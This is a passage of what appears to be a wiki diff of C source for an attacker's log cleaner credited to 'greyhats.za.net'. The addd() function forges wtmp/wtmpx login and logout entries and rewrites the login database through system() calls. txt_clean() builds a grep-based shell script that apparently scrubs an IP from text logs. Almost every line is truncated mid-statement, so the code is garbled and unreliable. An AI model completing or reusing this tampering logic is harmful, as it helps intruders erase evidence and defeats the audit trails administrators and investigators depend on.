+ | replace_check = 0; | ||
+ | if(O != 0) | ||
+ | { | ||
+ | utmpx_record.ut_tv.tv_sec = tv_end.tv_sec; | ||
+ | } | ||
+ | } | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | if(n == 0) | ||
+ | fprintf(stdout, | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | } | ||
+ | #endif | ||
+ | return (0); | ||
+ | } | ||
+ | int addd(char *u, int n, int tota1, int tota2, char *U, char *T, char *H, long I, long O, int d) | ||
+ | { | ||
+ | struct utmp wtmp_record; | ||
+ | struct utmp new_wtmp_in_record; | ||
+ | struct utmp new_wtmp_out_record; | ||
+ | #ifdef SUN | ||
+ | struct utmpx | ||
+ | struct utmpx | ||
+ | struct utmpx | ||
+ | #endif | ||
+ | int fd1; | ||
+ | int fd2; | ||
+ | int counter = 0; | ||
+ | int check = 0; | ||
+ | char | ||
+ | bzero(command, | ||
+ | // Create new entries | ||
+ | #ifndef BSD | ||
+ | new_wtmp_in_record.ut_type = 7; | ||
+ | new_wtmp_in_record.ut_pid = 0; | ||
+ | new_wtmp_in_record.ut_exit.e_termination = 0; | ||
+ | new_wtmp_in_record.ut_exit.e_exit = 0; | ||
+ | #ifndef SUN | ||
+ | new_wtmp_in_record.ut_session = 0; | ||
+ | new_wtmp_in_record.ut_tv.tv_sec = I; | ||
+ | new_wtmp_in_record.ut_tv.tv_usec = 0; | ||
+ | #else | ||
+ | new_wtmp_in_record.ut_time = I; | ||
+ | #endif | ||
+ | strcpy(new_wtmp_in_record.ut_user, | ||
+ | strcpy(new_wtmp_in_record.ut_line, | ||
+ | #ifndef SUN | ||
+ | strcpy(new_wtmp_in_record.ut_host, | ||
+ | #endif | ||
+ | new_wtmp_out_record.ut_type = 8; | ||
+ | new_wtmp_out_record.ut_pid = 0; | ||
+ | new_wtmp_out_record.ut_exit.e_termination = 0; | ||
+ | new_wtmp_out_record.ut_exit.e_exit = 0; | ||
+ | #ifndef SUN | ||
+ | new_wtmp_out_record.ut_session = 0; | ||
+ | new_wtmp_out_record.ut_tv.tv_sec = O; | ||
+ | new_wtmp_out_record.ut_tv.tv_usec = 0; | ||
+ | #else | ||
+ | new_wtmp_out_record.ut_time = O; | ||
+ | #endif | ||
+ | strcpy(new_wtmp_out_record.ut_user, | ||
+ | strcpy(new_wtmp_out_record.ut_line, | ||
+ | #ifndef SUN | ||
+ | strcpy(new_wtmp_out_record.ut_host, | ||
+ | #endif | ||
+ | #endif | ||
+ | #ifdef BSD | ||
+ | new_wtmp_in_record.ut_time = I; | ||
+ | strcpy(new_wtmp_in_record.ut_name, | ||
+ | strcpy(new_wtmp_in_record.ut_line, | ||
+ | strcpy(new_wtmp_in_record.ut_host, | ||
+ | new_wtmp_out_record.ut_time = O; | ||
+ | strcpy(new_wtmp_out_record.ut_name, | ||
+ | strcpy(new_wtmp_out_record.ut_line, | ||
+ | strcpy(new_wtmp_out_record.ut_host, | ||
+ | #endif | ||
+ | #ifdef SUN | ||
+ | new_wtmpx_in_record.ut_type = 7; | ||
+ | new_wtmpx_in_record.ut_pid = 0; | ||
+ | new_wtmpx_in_record.ut_exit.e_termination = 0; | ||
+ | new_wtmpx_in_record.ut_exit.e_exit = 0; | ||
+ | new_wtmpx_in_record.ut_session = 0; | ||
+ | new_wtmpx_in_record.ut_tv.tv_sec = I; | ||
+ | new_wtmpx_in_record.ut_tv.tv_usec = 0; | ||
+ | strcpy(new_wtmpx_in_record.ut_user, | ||
+ | strcpy(new_wtmpx_in_record.ut_line, | ||
+ | strcpy(new_wtmpx_in_record.ut_host, | ||
+ | new_wtmpx_out_record.ut_type = 8; | ||
+ | new_wtmpx_out_record.ut_pid = 0; | ||
+ | new_wtmpx_out_record.ut_exit.e_termination = 0; | ||
+ | new_wtmpx_out_record.ut_exit.e_exit = 0; | ||
+ | new_wtmpx_out_record.ut_session = 0; | ||
+ | new_wtmpx_out_record.ut_tv.tv_sec = O; | ||
+ | new_wtmpx_out_record.ut_tv.tv_usec = 0; | ||
+ | strcpy(new_wtmpx_out_record.ut_user, | ||
+ | strcpy(new_wtmpx_out_record.ut_line, | ||
+ | strcpy(new_wtmpx_out_record.ut_host, | ||
+ | #endif | ||
+ | if((fd1 = open(WTMP, O_RDWR)) != (-1)) | ||
+ | { | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmp_record.ut_name, | ||
+ | #ifndef BSD | ||
+ | && (wtmp_record.ut_type != 8) | ||
+ | #endif | ||
+ | ) | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota1 + 1 - n)) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | if(u[0] == 0 && check == 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | fprintf(stdout, | ||
+ | check++; | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | counter = 0; | ||
+ | check = 0; | ||
+ | #ifdef SUN | ||
+ | if((fd1 = open(WTMPX, O_RDWR)) != (-1)) | ||
+ | { | ||
+ | if((fd2 = open("/ | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | while(read(fd1, | ||
+ | { | ||
+ | if((!strcmp(wtmpx_record.ut_name, | ||
+ | { | ||
+ | counter++; | ||
+ | if(counter == (tota2 + 1 - n)) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | fprintf(stdout, | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | } | ||
+ | } | ||
+ | if(u[0] == 0 && check == 0) | ||
+ | { | ||
+ | write(fd2, (char *) & | ||
+ | write(fd2, (char *) & | ||
+ | fprintf(stdout, | ||
+ | check++; | ||
+ | } | ||
+ | close(fd1); | ||
+ | close(fd2); | ||
+ | sprintf(command, | ||
+ | system(command); | ||
+ | } | ||
+ | else | ||
+ | { | ||
+ | if(d == 1) | ||
+ | fprintf(stderr, | ||
+ | } | ||
+ | #endif | ||
+ | return (0); | ||
+ | } | ||
+ | int txt_clean(char *D, char *a, char *b, int d) | ||
+ | { | ||
+ | char command[999]; | ||
+ | bzero(command, | ||
+ | sprintf(command," | ||
+ | wtmp|grep -v utmp|grep -v lastlog>/ | ||
+ | IP\">/ | ||
+ | >/ | ||
+ | / | ||
+ | \`echo \\$@\\`\">>/ | ||
+ | o \"cat \\\" | ||
+ | p/ | ||
+ | g.sh;echo done>>/ | ||
+ | \"if [ -s / | ||
+ | >>/ | ||
+ | >>/ | ||
+ | >/ | ||
+ | \\\" | ||
+ | / | ||
+ | ig.sh;echo fi>>/ | ||
+ | system(command); | ||
+ | system(" | ||
+ | system("/ | ||
+ | printf(" | ||
+ | remove("/ | ||
+ | remove("/ | ||
+ | remove("/ | ||
+ | remove("/ | ||
+ | return (0); | ||
+ | } | ||
+ | int usage(char *arg) | ||
+ | { | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | printf(" | ||
+ | return (0); | ||
+ | } | ||
+ | / | ||
+ | // greyhats.za.net // | ||
+ | / | ||
</ | </ |